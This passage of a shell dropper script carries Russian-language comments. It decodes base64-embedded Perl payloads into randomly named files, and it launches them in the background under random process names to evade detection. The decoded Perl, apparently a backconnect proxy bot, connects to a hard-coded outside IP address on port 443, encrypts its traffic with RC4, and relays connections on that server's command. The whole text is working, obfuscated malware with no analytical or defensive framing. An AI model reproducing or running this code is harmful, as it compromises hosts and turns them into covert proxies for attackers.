cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #61 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #61 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 62 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xODgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK 